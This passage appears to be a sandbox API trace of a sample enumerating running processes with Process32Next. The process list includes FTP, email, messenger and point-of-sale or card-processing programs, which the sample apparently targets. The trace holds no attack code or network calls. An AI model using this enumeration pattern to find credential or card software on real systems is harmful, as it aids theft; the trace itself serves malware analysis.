cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0249.702] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0249.705] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0249.708] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0249.711] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0249.714] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x120c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0249.718] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x121c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0249.721] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0249.724] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0249.727] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x123c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0249.731] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x124c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0249.733] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0249.736] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0249.742] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0249.745] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x127c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0249.748] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1284, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0249.752] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0249.755] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x129c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0249.758] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0249.762] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0249.765] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0249.768] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0249.771] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0249.774] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0249.777] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0249.780] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1300, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0249.786] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0249.821] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0249.824] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0249.827] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0249.830] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0249.833] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1348, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0249.837] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0249.840] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0249.843] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0249.846] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0249.849] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1380, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0249.851] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="sense_understand.exe")) returned 1 [0249.855] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="often-far-on.exe")) returned 1 [0249.857] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0249.860] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0249.863] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0249.865] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0249.868] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="AA17.exe")) returned 1 [0249.871] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="6951.exe")) returned 1 [0249.874] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="6951.exe")) returned 0 [0249.877] CloseHandle (hObject=0x2198) returned 1 [0249.877] Sleep (dwMilliseconds=0x64) [0249.879] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2198 [0249.896] Process32First (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0249.899] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0249.901] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0249.903] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0249.906] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0249.909] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0249.912] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0249.914] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0249.918] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0249.921] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.923] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.926] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0249.928] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.931] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.933] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.977] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.981] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.984] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.987] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.991] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0249.994] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0249.996] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x30, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0249.999] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0250.002] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0250.005] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0250.007] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0250.010] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0250.012] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0250.015] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0250.018] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0250.020] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0250.023] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0250.026] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0250.029] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x614, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0250.032] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0250.034] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0250.037] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0250.039] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 